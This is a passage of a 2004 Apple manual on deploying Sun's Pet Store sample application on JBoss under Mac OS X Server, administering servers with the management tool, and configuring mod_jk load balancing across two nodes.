MySQL as the database engine. They’re at Application_Server_companion/Configured_Pet_Store_archives. You need to perform only the steps listed in “Set Up the Environment” (page 27) and “Deploy and Test the Application” (page 45). 28 Set Up the Environment  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 1. Get Pet Store from Sun. Download the Pet Store enterprise application from http:// developer.java.sun.com/developer/releases/petstore, and place the petstore1.3.2 directory in your home directory. (Pet Store 1.3.2 is also included as part of this document’s companion files.) 2. Configure MySQL: a. Launch MySQL Manager, located in /Applications/Server. b. Click the lock button, and authenticate as the system administrator. c. Click Install and then click Start. d. Quit MySQL Manager. 3. Create the Pet Store Tables: a. In Terminal, run the mysql command-line tool. b. Enter use test and press Return. c. Copy the text in Application_Server_companion/Pet_Store_resources/ create_tables_sql.txt (in this document’s companion files) to the Clipboard, and paste its contents into the mysql command-line tool. d. Enter quit and press Return. 4. Deploy the petstore-destinations-service.xml file. To prepare JBoss for running Pet Store, copy the Application_Server_companion/ Pet_Store_resources/petstore-destinations-service.xml file included in this document’s companion files to /Library/JBoss/3.2/deploy. 5. Start the application server. You must be running the application server to configure Pet Store. Make sure the application server is running on your computer. See “Starting the Application Server” (page 15) for details. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Pet Store Enterprise Application 29  Apple Computer, Inc. January 22, 2004 Configure the Pet Store Enterprise Application This section guides you through the steps required to configure the petstore.ear file so that it can be deployed in Mac OS X Server. This process involves specifying the data source that enterprise beans use to obtain a connection to the database, mapping the enterprise beans’ CMP fields to table columns, defining relationships among enterprise beans, and so on. Open the petstore.ear File in the Deployment Tool 1. Launch the JBoss deployment tool. (See “Starting the JBoss Deployment Tool” (page 18) for details.) 2. In the Load Application window, enter the full path to the petstore.ear file in the text field, and click Load Application. 3. Click “Click here to continue.” 4. In the PetStoreEAR (Application) window (also known as the main window or the navigation window), click Connect. 5. In the Connect to Server window, enter the host name and the port of the application server. (By default the host is localhost and the port is 1099.) 30 Configure the Pet Store Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 6. Click Connect to Server. 7. Close the Connect to Server window. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Pet Store Enterprise Application 31  Apple Computer, Inc. January 22, 2004 Configure Application-Wide Settings In this section you configure the settings that affect all the modules in the petstore.ear archive. 1. Under PetStoreEAR (Application), click Application Settings. 2. In the PetStoreEAR window, click the JBoss tab. 3. Set J2EE Compliant Class Loading to no, and click Update. 4. Close the window. Configure the AsyncSender Enterprise Bean 1. Under AsyncSenderEJB (EJB), click Enterprise Beans. Then click AsyncSenderEJB. 2. In the AsyncSenderEJB window, select jms/QueueConnectionFactory in the JBoss Resource Refs list, and click Edit. 3. From the Jndi Name pop-up menu, choose java:/ConnectionFactory , and click Update. 32 Configure the Pet Store Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 4. In the JBoss Resource Env Refs list, select jms/AsyncSenderQueue , and click Edit. 5. From the Jndi Name pop-up menu, choose /queue/supplier/ PurchaseOrderQueue, and click Update. 6. Click Update to finish configuring the AsyncSender enterprise bean, and close the window. Configure the Catalog Enterprise Bean 1. Under CatalogJAR (EJB), click Enterprise Beans. Then click CatalogEJB. 2. In the JBoss Resource Refs list in the CatalogEJB window , select jdbc/CatalogDB, and click Edit. 3. From the Jndi Name pop-up menu, choose java:MySqlDS , and click Update. 4. In the JBoss Resources Refs list in the CatalogEJB window, select url/ CatalogDAOSQLURL , and click Edit. 5. In the Resource URL text field, enter http://localhost:8080/petstore/ CatalogDAOSQL.xml, and click Update. 6. Click Update to finish configuring the Catalog enterprise bean, and close the window. Configure the Customer Module The following sections guide you through the configuration of the Customer module. Configure Module-Wide Settings This section walks you through setting the data source and data-source mapping for the enterprise beans in the Customer module. It also details how to configure the relationships between some of the enterprise beans. 1. Under CustomerJAR (EJB), click Module Settings. 2. In the CustomerJAR window, click the CMP - Default Settings tab. 3. From the Datasource pop-up menu, choose MySQL 4.0.14 (java:/MySqlDS). 4. From the Datasource Mapping pop-up menu, choose mySQL, and click Update. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Pet Store Enterprise Application 33  Apple Computer, Inc. January 22, 2004 5. From the Entity Command Name pop-up menu, choose no-select-before- insert. The advantage of configuring the database and the data-source mapping at the module level is that the settings apply to all the enterprise beans in the module. Therefore, you don’t have to configure those settings for each enterprise bean in the module, unless they differ from the ones set for the module. 6. Click the CMP - PK Generation tab. 34 Configure the Pet Store Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 7. In the Unknown Pk Class text field, enter java.lang.Long. 8. In the Field Name text field, enter pk. 9. In the Column Name text field, enter pk. 10. Set Auto Increment to yes. 11. Click the CMP - Relationships tab. 12. Configure the relationships. Table 4-1 lists the relationship information for the customer module. Table 4-1 Relationship information for the Customer module Relationship name Role name Column name CustomerEJB-AccountEJB Relationship AccountEJB account_fk ContactInfoEJB-AddressEJB Relationship AddressEJB address_fk C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Pet Store Enterprise Application 35  Apple Computer, Inc. January 22, 2004 Perform the following steps to configure each relationship listed in Table 4-1. a. In the Ejb Relations list, select the relationship to configure, and click Edit. b. In the Relationship Roles list, click the corresponding relationship role. c. Click New next to the Key Fields list. d. In the Field Name text field, enter pk. e. From the Column Name pop-up menu, choose the name of the appropriate column, and click Update. f. Click Update to finish configuring the relationship role. g. Click Update to finish configuring the relationship. 13. Click Update to finish configuring the Customer module settings, and close the window. Configure the Account Enterprise Bean 1. Under CustomerJAR (EJB), click Enterprise Beans. Then click AccountEJB. 2. From the Table Name pop-up menu in the AccountEJB window, choose PS_Account. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the Account enterprise bean, and close the window. CustomerEJB-ProfileEJB Relationship ProfileEJB profile_fk AccountEJB-ContactInfoEJB Relationship ContactInfoEJB contactInfo_fk AccountEJB-CreditCardEJB Relationship CreditCardEJB creditCard_fk Table 4-1 Relationship information for the Customer module Relationship name Role name Column name 36 Configure the Pet Store Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Address Enterprise Bean 1. Under Enterprise Beans under CustomerJAR (EJB), click AddressEJB. 2. From the Table Name pop-up menu in the AddressEJB window, choose PS_Address. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the Address enterprise bean, and close the window. Configure the ContactInfo Enterprise Bean 1. Under Enterprise Beans under CustomerJAR (EJB), click ContactInfoEJB. 2. From the Table Name pop-up menu in the ContactInfoEJB window, choose PS_ContactInfo. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the ContactInfo enterprise bean, and close the window. Configure the CreditCard Enterprise Bean 1. Under Enterprise Beans under CustomerJAR (EJB), click CreditCardEJB. 2. From the Table Name pop-up menu in the CreditCardEJB window, choose PS_CreditCard. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Pet Store Enterprise Application 37  Apple Computer, Inc. January 22, 2004 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the CreditCard enterprise bean, and close the window. Configure the Customer Enterprise Bean 1. Under Enterprise Beans under CustomerJAR (EJB), click CustomerEJB. 2. From the Table Name pop-up menu in the CustomerEJB window, choose PS_Customer. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click Update to finish configuring the Customer enterprise bean, and close the window. Configure the Profile Enterprise Bean 1. Under Enterprise Beans under CustomerJAR (EJB), click ProfileEJB. 2. From the Table Name pop-up menu in the ProfileEJB window, choose PS_Profile. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the Profile enterprise bean, and close the window. Configure the PetStore Web Application 1. Under PetStoreWAR (WebApp), click Module Settings. 2. In the JBoss Resource Refs list in the PetStoreWAR window, select jdbc/ CatalogDB, and click Edit. 38 Configure the Pet Store Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 3. From the Jndi Name pop-up menu, choose java:/MySqlDS, and click Update. 4. In the JBoss Resource Refs list, select url/CatalogDAOSQLURL, and click Edit. 5. In the Resource URL text field, enter http://localhost:8080/petstore/ CatalogDAOSQL.xml, and click Update. 6. Click Update to finish configuring the PetStore web application, and close the window. Configure the SignOn Module 1. Under SignOnJAR (EJB), click Module Settings. 2. In the SignOnJAR window, click the CMP - Default Settings tab. 3. From the Entity Command Name pop-up menu, choose no-select-before- insert, and click Update. 4. Close the window. Configure the User Enterprise Bean 1. Under Enterprise Beans under SignOnJAR (EJB), click UserEJB. 2. From the Datasource pop-up menu in the UserEJB window, choose MySQL 4.0.14 (java:/MySqlDS). 3. From the Datasource Mapping pop-up menu, choose mySql. 4. From the Table Name pop-up menu, choose PS_User. 5. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 6. Click Update to finish configuring the User enterprise bean, and close the window. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Supplier Enterprise Application 39  Apple Computer, Inc. January 22, 2004 Configure the Counter Enterprise Bean 1. Under UniqueIdGeneratorJAR (EJB), click Enterprise Beans. Then click CounterEJB. 2. From the Datasource pop-up menu in the CounterEJB window, choose MySQL 4.0.14 (java:/MySqlDS). 3. From the Datasource Mapping pop-up menu, choose mySql. 4. From the Table Name pop-up menu, choose PS_Counter. 5. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 6. Click Update to finish configuring the Counter enterprise bean, and close the window. Save the Application To save the configured PetStore application, click Save in the navigation window and choose a location for it: 1. Using the Finder or Terminal, create a directory under /Library named Configured_Apps. 2. In the main window, click Save. 3. In the text field in the Save Application window, enter /Library/ Configured_Apps/petstore.ear, and click Save Application. 4. Close the window. Configure the Supplier Enterprise Application The following sections guide you through configuring the Supplier enterprise application. 40 Configure the Supplier Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Open the supplier.ear file in the Deployment Tool 1. In the PetStoreEAR window, click Load. 2. In the text field in the Load Application window, enter the path to the supplier.ear file, and click Load Application or press Return. 3. In the navigation window, click Connect. 4. If the Connect to Server window indicates that you’re not connected to the application server, click Connect to Server. 5. Close the Connect to Server window. Configure Application-Wide Settings 1. Under SupplierEAR (Application), click Application Settings. 2. In the SupplierEAR window, click the JBoss tab. 3. Set J2EE Compliant Class Loading to no, and click Update. 4. Close the window. Configure the Supplier Module The following sections explain how to configure the SupplierJAR module. Configure the Module Settings 1. Under SupplierJAR (EJB), click Module Settings. 2. In the SupplierJAR window, click the CMP - Default Settings tab. 3. From the Datasource pop-up menu, choose MySQL 4.0.14 (java:/MySqlDS). 4. From the Datasource Mapping pop-up menu, choose mySql, and click Update. 5. Close the window. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Supplier Enterprise Application 41  Apple Computer, Inc. January 22, 2004 Configure the Inventory Enterprise Bean 1. Under SupplierJAR (EJB), click Enterprise Beans. Then click InventoryEJB. 2. From the Table Name pop-up menu, choose SUPP_Inventory. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click Update to finish configuring the Inventory enterprise bean, and close the window. Configure the OrderFulfillmentFacade Enterprise Bean 1. Under Enterprise Beans under SupplierJAR (EJB), click OrderFulfillmentFacade. 2. In the JBoss Resource Refs list in the OrderFulfillmentFacadeEJB window, select url/EntityCatalogURL, and click Edit. 3. In the Res URL text field, enter http://localhost:8080/opc/EntityCatalog.jsp, and click Update. 4. Click Update to finish configuring the OrderFulfillmentFacade enterprise bean, and close the window. Configure the SupplierOrder Message-Driven Bean 1. Under Enterprise Beans under SupplierJAR (EJB), click SupplierOrderMDB. 2. In the JBoss Resource Refs list, select jms/QueueConnectionFactory, and click Edit. 3. From the Jndi Name pop-up menu, choose /ConnectionFactory, and click Update. 4. In the JBoss Resource Refs list, select jms/TopicConnectionFactory, and click Edit. 5. From the Jndi Name pop-up menu, choose /ConnectionFactory, and click Update. 6. In the JBoss Resource Env Refs list, select jms/opc/InvoiceTopic, and click Edit. 42 Configure the Supplier Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 7. From the Jndi Name pop-up menu, choose /topic/opc/InvoiceTopic, and click Update. 8. Click Update to finish configuring the SupplierOrder message-driven bean, and close the window. Configure the SupplierPurchaseOrder Module These sections explain how to configure the SupplierPurchaseOrderJAR module. Configure the Module Settings 1. Under SupplierPurchaseOrderJAR (EJB), click Module Settings. 2. In the SupplierPurchaseOrderJAR window, click the CMP - Default Settings tab. 3. From the Datasource pop-up menu, choose MySQL 4.0.14 (java:/MySqlDS). 4. From the Datasource mapping pop-up menu, choose mySql. 5. From the Entity Command Name pop-up menu, choose no-select-before- insert. 6. Click the CMP - PK Generation tab. 7. In the Unknown Pk Class text field, enter java.lang.Long. 8. In the Field Name text field, Enter pk. 9. In the Column Name text field, enter pk. 10. Set Auto Increment to yes, and click Update. 11. Close the window. Configure the Address Enterprise Bean 1. Under SupplierPurchaseOrderJAR (EJB), click Enterprise Beans. Then click AddressEJB. 2. From the Table Name pop-up menu in the AddressEJB window, choose PS_Address. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Configure the Supplier Enterprise Application 43  Apple Computer, Inc. January 22, 2004 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the Address enterprise bean, and close the AddressEJB window. Configure the ContactInfo Enterprise Bean 1. Under Enterprise Beans under SupplierPurchaseOrderJAR (EJB), click ContactInfoEJB. 2. From the Table Name pop-up menu in the ContactInfoEJB window, choose PS_ContactInfo. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the ContactInfo enterprise bean, and close the window. Configure the LineItem Enterprise Bean 1. Under Enterprise Beans under SupplierPurchaseOrderJAR (EJB), click LineItemEJB. 2. From the Table Name pop-up menu in the LineItemEJB window, choose SUPP_LineItem. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 44 Configure the Supplier Enterprise Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store 5. Click Update to finish configuring the LineItem enterprise bean, and close the window. Configure the SupplierOrder Enterprise Bean 1. Under Enterprise Beans under SupplierPurchaseOrderJAR (EJB), click SupplierOrderEJB. 2. From the Table Name pop-up menu in the SupplierOrderEJB window, choose SUPP_SupplierOrder. 3. Map the CMP fields to the appropriate column names by selecting the field in the Cmp Fields list, clicking Edit, choosing the corresponding column name from the Column Name list, and clicking Update. 4. Click the CMP - Mapping tab. From the Entity Command Name pop-up menu, choose mysql-get-generated-keys. 5. Click Update to finish configuring the SupplierOrder enterprise bean, and close the window. Configure the Supplier Web Application Module 1. Under SupplierWAR (WebApp), click Module Settings. 2. In the JBoss Resource Env Refs list, select jms/opc/InvoiceTopic, and click Edit. 3. From the Jndi Name pop-up menu, choose /topic/opc/InvoiceTopic, and click Update. 4. In the JBoss Resource Refs list, select jms/TopicConnectionFactory, and click Edit. 5. From the Jndi Name pop-up menu, choose /ConnectionFactory, and click Update. 6. Click Update to finish configuring the Supplier web-application module, and close the window. Save the Application 1. In the navigation window, click Save. C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Deploy and Test the Application 45  Apple Computer, Inc. January 22, 2004 2. In the text field in the Save Application window, enter /Library/ Configured_Apps/supplier.ear, and click Save Application. 3. Close the window. Deploy and Test the Application To deploy Pet Store in Mac OS X Server, copy the configured files to /Library/ JBoss/3.2/deploy. (You can also use the management tool to deploy the application. See “Deploying Applications” (page 59) for details.) After about a minute, open http://localhost:8080/petstore in your web browser. You could also have saved the EAR files directly to the JBoss deploy directory. However, it’s generally safer to configure application files of undeployed archives. Follow these steps to test Pet Store: 1. Open http://localhost:8080/petstore in a web-browser window. 2. Click the link that takes you to the store. 3. In the Welcome to the BluePrints Petstore webpage, click Birds. 4. In the Items webpage, click Amazon Parrot. 5. In the Product webpage, click Add to Cart. 6. In the Cart webpage, click Check Out. 7. In the Sign On webpage, click Sign In. 8. In the Enter Order Information webpage, click Submit. If you get an error page during the test, make sure JBoss is running and recheck the configuration settings described in “Configure the Pet Store Enterprise Application” (page 29) and “Configure the Supplier Enterprise Application” (page 39). 46 Deploy and Test the Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 Configuring and Deploying Sun’s Pet Store Logging In to the Management Tool 47  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 5 Administering Application Servers Application-server management involves configuring the services available in an application server, turning services on and off, deploying applications, and monitoring application-server resources. This chapter teaches how to manage application servers, which are JBoss instances running on one or more computers. Logging In to the Management Tool Before you can log in to the management tool, the tool must be running. You can launch the management tool by executing the following command: $ /Library/JBoss/Applications/JBossManagement.woa/JBossManagement You log in to the management tool through your web browser. To connect to the management tool, enter the following URL into the Address text field in your web browser: https://localhost:40000. 48 Logging In to the Management Tool  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers Alternatively, you can click Manage JBoss in the Settings pane in the Server Admin window. To log in to the management tool you must enter the user name and password of an administrator of your computer or a user who is a member of the appserveradm group or the appserverusr group. There are two types of users with the authority to use the management tool: administrator users (which are members of the appserveradm group) and monitor users (which are members of the appserverusr group). The user defined while configuring Mac OS X Server for the first time is added to the appserveradm group. To authorize another user to manage application servers with the management tool, execute the following command in the command line, and restart your computer: $ sudo /usr/bin/dscl . -create Groups/appserveradm GroupMembership <user_ID> If you need to authorize a user to only monitor application servers with the management tool, execute the following command, and restart the computer: Note: The management tool allows only registered users to manage, configure, or monitor application servers. If you enter the name of a registered user in the Username text field but enter an incorrect password in the Password text field, you can only monitor the application server. Also, only members of appserveradm and appserverusr can launch the management tool. C H A P T E R 5 Administering Application Servers Logging In to the Management Tool 49  Apple Computer, Inc. January 22, 2004 $ sudo /usr/bin/dscl . -create Groups/appserverusr GroupMembership <user_ID> You can also use NetInfo Manager to add users to the appserveradm and appserverusr groups: 1. Launch NetInfo Manager, located in /Applications/Utilities. 2. If the lock in the bottom-left corner of the window is locked, click it and authenticate yourself and the server’s administrator. 3. In the “/” column, select “groups.” Then select the appropriate group in the “groups” column. 4. In the Properties list, select “users” and choose Directory > New Value. 5. Replace new_value with the appropriate user name. 50 Logging In to the Management Tool  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers 6. Save the changes and restart your computer. C H A P T E R 5 Administering Application Servers Choosing a Task 51  Apple Computer, Inc. January 22, 2004 Choosing a Task After logging in to the management tool, the Configuration window appears. This window lets you choose the kind of activity you want to perform with the management tool. There are three activities to choose from: I Managing: Allows you to start and stop services, configure services, observe resource statistics, create data sources, create topics or queues, and deploy applications. I Configuring: Lets you start and stop services, create data sources, create topics or queues, and deploy applications. I Monitoring: Allows you to observe resource statistics of application servers. Managing Application Servers To manage an application server, enter the JNDI port of the application server you want to manage (by default, 1099) in the Configuration window (shown in Figure 5-1), and click “Manage localhost”. 52 Managing Application Servers  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers Figure 5-1 The Configuration window of the management tool The left side of the JBoss Management Console window (shown in Figure 5-2) lists the application servers available and the resources they provide. You specify the resource you want to manage by clicking the triangle next to the appropriate resource type and selecting a resource from the list that appears. Figure 5-2 The JBoss Management Console window C H A P T E R 5 Administering Application Servers Managing Application Servers 53  Apple Computer, Inc. January 22, 2004 For example, to change an application server’s security configuration, click the triangle next to the Services resource group and select login-config.xml. After that, the Security Configuration pane (shown in Figure 5-3) appears on the right side of the window, showing the application policy list, which you can modify by clicking the appropriate buttons. However, any changes you make take effect only after you restart the application server. Figure 5-3 The JBoss Management Console window showing the Security Configuration pane of the log-in configuration service When you’re managing the services deployed on the application server, you can also monitor the statistics of deployed applications and resources. For example, if you deploy Sun’s Pet Store in your application server, log in to the management 54 Managing Application Servers  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers tool, choose to manage the application server from the Configuration window, and click local/ShoppingCartEJB under cart-ejb.jar under petstore.ear under the Applications group in the application-server list, the JBoss Management Console window displays the Statistics pane with information on the performance of the ShoppingCart enterprise bean, as shown in Figure 5-4. Figure 5-4 The JBoss Management Console window showing the Statistics pane of the Pet Store ShoppingCart enterprise bean C H A P T E R 5 Administering Application Servers Configuring Application Servers 55  Apple Computer, Inc. January 22, 2004 When you’re done managing, click JBoss in the server list, and click Logout or Change Configuration. Configuring Application Servers To configure local application servers, choose the configuration you want to modify from the “Modify configuration” pop-up menu, and click “Modify configuration” in the Configuration page. The JBoss Management Console window appears. This window allows you to select a service and change its configuration. For example, to configure the transaction-connection factory service, select jms- ds.xml under services in the application-server list. You can also configure the provider and the session pool of the transaction- connection factory service by clicking the triangle next to jms-ds.xml in the application-server list and selecting the appropriate item, as shown in Figure 5-5. 56 Monitoring Application Servers  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers Figure 5-5 The JBoss Management Console window showing one of the configuration panes for the JMS Directory Service Monitoring Application Servers To monitor application servers, enter the name of the computer on which the application server is running (by default, localhost) and the JNDI port of the application server (by default, 1099) in the Configuration page, and click “Monitor host”. To view the statistics provided by particular applications, resources, or services, select the appropriate item in the application-server list. The statistics appear in the Statistics pane, shown in Figure 5-6. Note: After you’re done making changes, you have to restart the application server for the changes to take effect. C H A P T E R 5 Administering Application Servers Starting and Stopping Services 57  Apple Computer, Inc. January 22, 2004 Figure 5-6 The JBoss Management Console window showing the statistics of the Deploy Service Starting and Stopping Services You can start and stop services while managing or configuring application servers. To do so, in the application server list, select the application server you want to configure, and click Start/Stop Services in the Host Information pane. The Start or Stop Services pane is displayed in the right side of the JBoss Management Console window, as shown in Figure 5-7. 58 Creating a Data Source  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers Figure 5-7 The JBoss Management Console window showing the Start or Stop Services pane Creating a Data Source You can create a data source while managing or configuring application servers. To do so, select the application server you want to add the data source to in the server list. Next, enter the name of the data source in the Datasource Name text field in the Create a Datasource group in the Host Information pane, choose a data-source type from the Datasource Type pop-up menu, and click Create Datasource. C H A P T E R 5 Administering Application Servers Creating a Topic or a Queue 59  Apple Computer, Inc. January 22, 2004 Enter the appropriate information in the Local TX Datasource pane, and click Update. The newly added data source appears under the Resources group in the application-server list. Creating a Topic or a Queue You can create a topic or a queue while managing or configuring an application server. Follow these steps to create a topic or a queue: 1. In the application server list, select the application server you want to add the topic or queue to. 2. From the Topic or Queue pop-up menu in the Create a Topic or Queue group in the Host Information pane, choose Topic or Queue. 3. In the Topic or Queue Name text field, enter the name of the topic or queue. 4. Enter the name of the file in which the topic or queue configuration is to be saved in the Filename text field. Deploying Applications You can deploy applications while managing or configuring application servers. Follow these steps to deploy an application: 1. Select the application server you want to deploy the application or service on in the application server list. 2. In the “Select an application to deploy” group in the Host Information pane, click Choose File, and choose the file to deploy. Note: Make sure to enter a unique JNDI name in the Jndi Name text field of the Local TX Datasource pane. 60 Deploying Applications  Apple Computer, Inc. January 22, 2004 C H A P T E R 5 Administering Application Servers 3. Click Deploy Application. Distributable Applications 61  Apple Computer, Inc. January 22, 2004 C H A P T E R 6 6 Balancing User Load and Replicating Sessions HTTP load balancing provides a way to distribute user load among a group of application servers. The application servers can be standalone or configured as a cluster, in which case they are know as nodes. Load balancing is better used with sticky sessions. This means that once the load balancer (a web server) forwards a client request to a particular application server, it sends all further requests from the client to the same application server. Using load balancing across standalone application servers allows you to scale your deployment with little increase in request-processing overhead. However, when an application server fails, other application servers cannot pick up the failed-server’s load, which may provide an undesirable user experience: Users may have to log in to the application again or may lose the contents of their “shopping carts.” Load balancing across clustered application servers (or nodes) provides session replication among the nodes, so that when a node fails, another node can take over its duties with little or no user impact. However, as you add nodes to the cluster, each request may take longer to process. This chapter explains how to enable an application to be distributable among cluster nodes and walks you through configuring HTTP load balancing for Sun’s Pet Store using three computers: One serving only as the web server and load balancer, and the other two serving as application-server nodes. Distributable Applications Before deploying an application in a cluster of nodes using the deploy-cluster configuration, make sure that the application is distributable. 62 Distributable Applications  Apple Computer, Inc. January 22, 2004 C H A P T E R 6 Balancing User Load and Replicating Sessions To make an application distributable set Distributable to yes in the Web-App pane of the application’s WebApp window. Figure 6-1 shows the WebApp window of the petstore.ear archive. Figure 6-1 The WebApp window of the petstore.ear archive C H A P T E R 6 Balancing User Load and Replicating Sessions Load Balancing and Clustering 63  Apple Computer, Inc. January 22, 2004 Load Balancing and Clustering Load balancing provides a way to distribute user load among application servers. Clustering enables session failover when a node in a cluster becomes unavailable. Load balancing can be used with a group of standalone application servers or with a cluster or application server or nodes. This section describes a simple, three- computer setup in which one computer runs the web server and balances user load among two application servers. Start by stopping the Web service on the web-server computer and the application servers on the nodes. Then follow the steps described in the following sections. Enable Load Balancing in the Web Server Follow these steps to configure a computer as the web server and load balancer for a deployment: 1. Launch Server Admin, if it’s not already running. 2. Select Web in the Computers & Services list, and click Settings in the configuration pane. 3. Click the Modules tab and select “jk_module,” which is at the bottom of the modules list. 4. Click the Sites tab. 5. Double-click the appropriate site in the list (by default there’s only one), which should be enabled. 6. Click the Options tab, and deselect Performance Cache. 7. Click Save. 8. Open httpd.conf file, located in /etc/httpd, in a text editor. 9. Look for <IfModule mod_jk.c>. 10. Add JKMount /petstore/* loadbalancer as the last item of the IfModule element. The IfModule element should look similar to this: 64 Load Balancing and Clustering  Apple Computer, Inc. January 22, 2004 C H A P T E R 6 Balancing User Load and Replicating Sessions <IfModule mod_jk.c> JKWorkersFile /etc/httpd/workers.properties JKLogFile /var/log/httpd/mod_jk.log JKLogLevel error JKMount /*.jsp JBoss1 JKMount /servlet/* JBoss1 JKMount /examples/* JBoss1 JKMount /petstore/* loadbalancer </IfModule> 11. Save the file. 12. Open the workers.properties file, which is also located in /etc/httpd, in a text editor. The file as configured in Mac OS X Server is shown in Figure 6-2. C H A P T E R 6 Balancing User Load and Replicating Sessions Load Balancing and Clustering 65  Apple Computer, Inc. January 22, 2004 Figure 6-2 The workers.properties file in /etc/httpd 13. Change line 2 to: worker.list=loadbalancer 66 Load Balancing and Clustering  Apple Computer, Inc. January 22, 2004 C H A P T E R 6 Balancing User Load and Replicating Sessions 14. Change line 8 so that it references the first node. It should look similar to this: worker.JBoss1.host=node1.mydomain.com 15. Change line 12 to: worker.JBoss1.cachesize=10 16. Uncomment lines 26 through 28. 17. Change line 26 so that it looks like this: worker.JBoss2.port=9007 18. Change line 27 so that it references the second node. It should look similar to this: worker.JBoss2.host=node2.mydomain.com 19. Change line 31 to: worker.JBoss2.cachesize=10 20. Add the following line to the file to enable sticky sessions: worker.loadbalancer.sticky_session=1 21. Save the file. Enable Load Balancing in the Application Servers For load balancing to work, each application server has to report its existence to the web server. Follow these steps to configure the application-server so that they identify themselves to the web server: 1. Open the jboss-service.xml file, located at /Library/JBoss/3.2/deploy- cluster/deploy/jbossweb-tomcat41.sar/META-INF, in a text editor. For non-cluster deployment, open the jboss-service.xml file at /Library/JBoss/ 3.2/deploy-standalone/deploy/jbossweb-tomcat41.sar/META-INF. 2. Look for the following line: <Engine name="MainEngine" defaultHost="localhost"> 3. Edit the line so that it looks like this: <Engine jvmRoute="JBoss1" name="MainEngine" defaultHost="localhost"> 4. Look for the following lines: C H A P T E R 6 Balancing User Load and Replicating Sessions Load Balancing and Clustering 67  Apple Computer, Inc. January 22, 2004 <!--Connector className="org.apache.coyote.tomcat4.CoyoteConnector" port="9007" minProcessors="5" maxProcessors="200" address="0.0.0.0" enableLookups="false" acceptCount="50" debug="0" connectionTimeout="20000" protocolHandlerClassName="org.apache.jk.server.JkCoyoteHandler"/--> 5. Remove the !-- at the beginning of the first line and the -- and end of the last line while making sure to leave the left angle bracket and the right angle bracket in place. 6. Save the file. 7. Repeat steps 1 through 6 for the second application server, but set jvmRoute to "JBoss2" in step 3. Test the Configuration Follow these steps to make sure that client requests are balanced among the application servers: 1. Start the Web service in the web-server computer. 2. Start the application server in each of the application-server computers and run the following commands on both: $ cd 